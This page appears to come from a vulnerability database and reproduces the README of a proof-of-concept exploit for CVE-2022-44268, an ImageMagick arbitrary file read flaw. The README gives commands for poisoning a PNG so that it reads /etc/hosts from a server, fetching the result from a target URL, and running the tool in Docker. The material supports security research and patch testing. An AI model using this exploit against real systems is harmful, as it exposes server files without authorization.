CVE-2022-44268 PoC — ImageMagick 安全漏洞

Source

Associated Vulnerability

Description

CVE-2022-44268 ImageMagick Arbitrary File Read - Proof of Concept exploit

Readme

# CVE-2022-44268 🧙‍♂️

CVE-2022-44268 ImageMagick Arbitrary File Read - Proof of Concept exploit

### Video 📼
https://youtu.be/quKxwNAMBIA


## Usage 🛠 

Poison the image ☣️
```
python3 CVE-2022-44268.py --image imagetopoison.png --file-to-read /etc/hosts --output poisoned.png
```
```
Upload poisoned PNG image.
```
Check if exploit was successful 🗡
```
python3 CVE-2022-44268.py --url http://vulnerable-imagemagick.com/uploads/vulnerable.png
```

## Running from Docker :whale:

Build
```
docker build -t cve-2022-44268 .
```

Run
```
docker run -v $(pwd)/data:/data -ti cve-2022-44268 --image /data/random.png --file-to-read "/etc/hosts" --output /data/poisoned.png
```

## Parameters 🧰 

Parameter | Description | Type
------------ | ------------- | -------------
--url | The URL of the uploaded PNG image | String
--image | Input PNG file | File
--output | Output PNG file | File
--file-to-read | File to read from vulnerable host | String


## Contact Me📇

[Twitter - Milan Jovic](https://twitter.com/milanshiftsec)

[LinkedIn - Milan Jovic](https://www.linkedin.com/in/milan-jovic-sec/)

#### Educational purposes only and cannot be used for law violation or personal gain.
#### The author of this project is not responsible for any possible harm caused by the materials of this project.
#### More details: https://www.metabaseq.com/imagemagick-zero-days/

File Snapshot

 [4.0K]  /data/pocs/30f2b74b0990b3b7ad572b9e8f63b40888988fda
├── [1.7K]  CVE-2022-44268.py
├── [ 232]  Dockerfile
├── [1.4K]  README.md
└── [  47]  requirements.txt

0 directories, 4 files

Remarks